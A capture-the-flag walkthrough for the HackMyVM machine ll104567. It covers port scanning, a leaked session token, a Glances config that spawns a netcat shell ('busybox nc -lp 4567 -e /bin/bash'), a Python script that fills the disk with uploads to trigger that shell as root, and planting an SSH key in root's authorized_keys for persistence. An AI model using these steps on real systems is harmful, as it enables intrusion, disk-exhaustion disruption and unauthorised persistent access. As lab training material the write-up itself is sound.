| Machine | Author | Category | Platform |
|---|---|---|---|
| ll104567 | Sublarge | Beginner | HackMyVM |
Summary: ll104567 is a beginner-level
Boot2Root machine that demonstrates exploitation of a misconfigured
system monitoring service. The attack chain involves discovering an
exposed Glances monitoring API, leveraging a filesystem threshold
trigger mechanism to spawn a reverse shell, and exploiting poor
authentication controls. Initial reconnaissance reveals a session token
in HTML comments and a dangerous warning_action
configuration in the Glances API. Exploitation is achieved by performing
a filesystem stress test to reach the 80% threshold, triggering an
automated busybox reverse shell with root privileges. The attack
requires no privilege escalation as the spawned shell executes with root
context, allowing immediate access to both user and root flags.
First thing to do is looking for the target's IP:
PS D:\> arp -a
Interface: 192.168.100.1 --- 0x3
Internet Address Physical Address Type
192.168.100.17 08-00-27-81-b4-6e dynamic
192.168.255.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.251 01-00-5e-00-00-fb static
224.0.0.252 01-00-5e-00-00-fc static
239.255.255.250 01-00-5e-7f-ff-fa staticTarget IP: 192.168.100.17
Do enumeration to know the open ports:
┌──(ouba㉿CLIENT-DESKTOP)-[~]
└─$ nmap -sC -sV 192.168.100.17 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-21 01:57 WIB
Nmap scan report for 192.168.100.17
Host is up (0.0059s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: \xE5\x90\x8D\xE5\xAD\x97Gay\xE6\x8C\x87\xE6\x95\xB0\xE8\xAE\xA1\xE7\xAE\x97\xE5\x99\xA8
|_http-server-header: Apache/2.4.62 (Debian)
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
1045/tcp open http Werkzeug httpd 3.1.3 (Python 3.9.2)
|_http-title: 404 Not Found
|_http-server-header: Werkzeug/3.1.3 Python/3.9.2
|_http-cors: GET PUT OPTIONS
61208/tcp open http Uvicorn
|_http-server-header: uvicorn
|_http-title: Glances
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2026-01-20T18:58:14
|_ start_date: N/A
|_nbstat: NetBIOS name: 104567, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_clock-skew: -1s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.79 secondsOpen Ports:
- Port 22 - SSH (OpenSSH 8.4p1 Debian)
- Port 80 - HTTP (Apache 2.4.62)
- Port 139/445 - Samba SMB
- Port 1045 - Werkzeug HTTP server (Python 3.9.2)
- Port 61208 - Uvicorn running Glances monitoring service
Accessing the web server on port 80 revealed a Chinese-language web application titled "名字Gay指数计算器" (Name Gay Index Calculator).
Critical Finding: Examining the HTML source code revealed a session token hidden in the comments:
<!-- xixilake-session-secure-2025 -->This session token would prove essential for the exploitation phase.
Navigating to http://192.168.100.17:61208/
displayed a Glances system monitoring dashboard showing real-time system
statistics including CPU usage (10.1%), memory usage (25.7%), and
various system processes.
More importantly, accessing the API documentation at http://192.168.100.17:61208/docs#/ exposed several endpoints, including the critical configuration endpoint.
The endpoint http://192.168.100.17:61208/api/4/config revealed the complete Glances configuration with a critical vulnerability:
{
"fs": {
"warning": "80",
"warning_action": "busybox nc -lp 4567 -e /bin/bash",
"careful": "50",
"critical": "90"
},
"global": {
"strftime_format": "",
"check_update": "true"
},
"quicklook": {
"cpu_careful": "50",
"cpu_warning": "70",
"cpu_critical": "90",
"mem_careful": "50",
"mem_warning": "70",
"mem_critical": "90",
"swap_careful": "50",
"swap_warning": "70",
"swap_critical": "90"
},
"cpu": {
"user_careful": "50",
"user_warning": "70",
"user_critical": "90",
"system_careful": "50",
"system_warning": "70",
"system_critical": "90",
"steal_careful": "50",
"steal_warning": "70",
"steal_critical": "90",
"iowait_careful": "80.0",
"iowait_warning": "90.0",
"iowait_critical": "100.0",
"ctx_switches_careful": "40000.0",
"ctx_switches_warning": "45000.0",
"ctx_switches_critical": "50000.0"
},
"load": {
"careful": "0.7",
"warning": "1.0",
"critical": "5.0"
},
"mem": {
"careful": "50",
"warning": "70",
"critical": "90"
},
"sensors": {
"temperature_hdd_careful": "45",
"temperature_hdd_warning": "52",
"temperature_hdd_critical": "60",
"battery_careful": "70",
"battery_warning": "80",
"battery_critical": "90"
}
}Critical Vulnerability Identified:
The fs (filesystem) section contains a warning_action parameter with the following command:
busybox nc -lp 4567 -e /bin/bashThis configuration automatically spawns a reverse shell on port 4567 when the filesystem usage reaches 80%. The shell would execute with the same privileges as the Glances service (root).
Important Note: This trigger only executes once when crossing the threshold, making timing critical for successful exploitation.
The attack plan consisted of three phases:
- Filesystem Stress Test - Upload files to fill the filesystem to 80% capacity
- Reverse Shell Connection - Connect to the automatically spawned shell on port 4567
- Persistent Access - Establish SSH access using public key authentication
Created exploitation tools:
┌──(root㉿CLIENT-DESKTOP)-[/home/ouba/ll104567]
└─# ls -la
total 1036
drwxr-xr-x 2 ouba ouba 4096 Jan 21 02:59 .
drwxr-xr-x 41 ouba ouba 4096 Jan 21 02:07 ..
-rw-r--r-- 1 ouba ouba 1048576 Dec 31 00:12 1MB.bin
-rw-r--r-- 1 ouba ouba 2459 Jan 21 02:47 stress.py1MB.bin - A 1 megabyte binary file used as the upload payload
stress.py - An asynchronous Python script designed to rapidly fill the filesystem:
import asyncio
import aiohttp
from time import time
async def upload_chunk(session, chunk_data, file_num, chunk_num):
try:
async with session.put(
f'http://192.168.100.17:1045/api/files/{file_num}_{chunk_num}.bin',
headers={'X-Session-Token': 'xixilake-session-secure-2025'},
data=chunk_data
) as response:
# Don't wait for response body if you don't need it
await response.read()
return response.status
except Exception as e:
print(f"Error uploading file {file_num}, chunk {chunk_num}: {e}")
return None
async def stress_test(total_gb, chunk_size_mb, concurrent_uploads):
# Read chunk once
with open("1MB.bin", "rb") as f:
chunk_data = f.read()
total_chunks = (total_gb * 1024) // chunk_size_mb
start_time = time()
# Optimize connection settings
connector = aiohttp.TCPConnector(
limit=concurrent_uploads, # Connection pool limit
ttl_dns_cache=300, # DNS cache
force_close=False, # Reuse connections
enable_cleanup_closed=True
)
timeout = aiohttp.ClientTimeout(total=60, connect=10)
async with aiohttp.ClientSession(
connector=connector,
timeout=timeout
) as session:
# Create all tasks upfront
tasks = [
upload_chunk(session, chunk_data, i // concurrent_uploads, i % concurrent_uploads)
for i in range(total_chunks)
]
# Process in batches with progress reporting
completed = 0
for i in range(0, len(tasks), concurrent_uploads):
batch = tasks[i:i + concurrent_uploads]
await asyncio.gather(*batch)
completed += len(batch)
elapsed = time() - start_time
speed = (completed * chunk_size_mb / 1024) / elapsed if elapsed > 0 else 0
print(f"Progress: {completed}/{total_chunks} chunks ({speed:.2f} GB/s)")
elapsed = time() - start_time
total_gb_actual = total_chunks * chunk_size_mb / 1024
avg_speed = total_gb_actual / elapsed if elapsed > 0 else 0
print("\nStress test complete:")
print(f" Total: {total_gb_actual:.2f} GB")
print(f" Time: {elapsed:.2f}s")
print(f" Avg Speed: {avg_speed:.2f} GB/s")
if __name__ == "__main__":
asyncio.run(stress_test(total_gb=21, chunk_size_mb=1, concurrent_uploads=50))Script Features:
- Uses asynchronous I/O with
aiohttpfor maximum upload throughput - Leverages the discovered session token (
xixilake-session-secure-2025) in request headers - Uploads 1MB chunks with 50 concurrent connections
- Targets the Werkzeug server on port 1045
- Provides real-time progress monitoring with upload speed metrics
- Optimizes TCP connections with connection pooling and DNS caching
After initial testing with smaller payloads, executed the final stress test:
┌──(root㉿CLIENT-DESKTOP)-[/home/ouba/ll104567]
└─# python3 stress.py
Progress: 50/20480 chunks (0.02 GB/s)
Progress: 100/20480 chunks (0.02 GB/s)
Progress: 150/20480 chunks (0.02 GB/s)
[... output truncated ...]
Progress: 20400/20480 chunks (0.02 GB/s)
Progress: 20450/20480 chunks (0.02 GB/s)
Progress: 21480/20480 chunks (0.02 GB/s)
Stress test complete:
Total: 21.00 GB
Time: 1467.27s
Avg Speed: 0.02 GB/sThe script successfully uploaded approximately 21GB of data at an average speed of 0.02 GB/s, pushing the filesystem usage past the critical 80% threshold.
Immediately after the filesystem reached 80% capacity, connected to the automatically spawned reverse shell:
┌──(root㉿CLIENT-DESKTOP)-[/home/ouba/ll104567]
└─# nc 192.168.100.17 4567
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/rootSuccess! The connection returned with root privileges, as the Glances service was running with root permissions.
To maintain access beyond the temporary reverse shell, added an SSH public key to root's authorized_keys:
cd .ssh
pwd
/root/.ssh
/usr/bin/script -qc /bin/bash /dev/null
root@104567:~/.ssh# echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrnUYiLDYzHmIOIrbYFnPPMr5gmZogLR4fVdcokkNOB0mmO2HfC4YZ3eqLgiraImtqXTMOJ3S1lGBEiKFS3utId5Q1IEbsz3Qaznoj7z704d6BrvHrvI2L0fshcSYNo9hu63gcWstR+i++ORzZv95lw8GOLrkex3/Xv8REArMotYntP03wbGWpaKeQIzKsLP9jiIlvYMd2wpgejAtcVHWlYNyO4AfF1O/RHZKoad6KsmXkv38w/Yf5btk+iDUATYG+a+IupTlUfMBD9iyKKOXqUIyZvndbN9M9qiFk1ZHotn4ZsprE1B8toY9GPU2qbpJTKz4xtfstQlm6tNrkp6UiW1ywcVSHbL7pN3/BpBb9ND7wnZnAsKRadRgwmVO3889RJgyQ/Xp9lCe3Ajm4GPYCZrqD+PnUgNMtaOd8wxsCqDs9s0Xhwp0a5qBPtLjaasIsA42U5zjVfiqL19RdXalmN3UdYMY/6KF3/6Qd6Zsca5b3gOwPimESledYnPE+jrM= root@CLIENT-DESKTOP' > ./authorized_keysVerified persistent SSH access and retrieved the flag:
┌──(root㉿CLIENT-DESKTOP)-[/home/ouba/ll104567]
└─# ssh -i ~/.ssh/id_rsa root@192.168.100.17
The authenticity of host '192.168.100.17 (192.168.100.17)' can't be established.
ED25519 key fingerprint is SHA256:O2iH79i8PgOwV/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.100.17' (ED25519) to the list of known hosts.
Linux 104567 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@104567:~# whoami
root
root@104567:~# id
uid=0(root) gid=0(root) groups=0(root)
root@104567:~# cat root.txt /home/ll/user.txt
flag{root-[REDACTED]}
flag{user-{REDACTED}}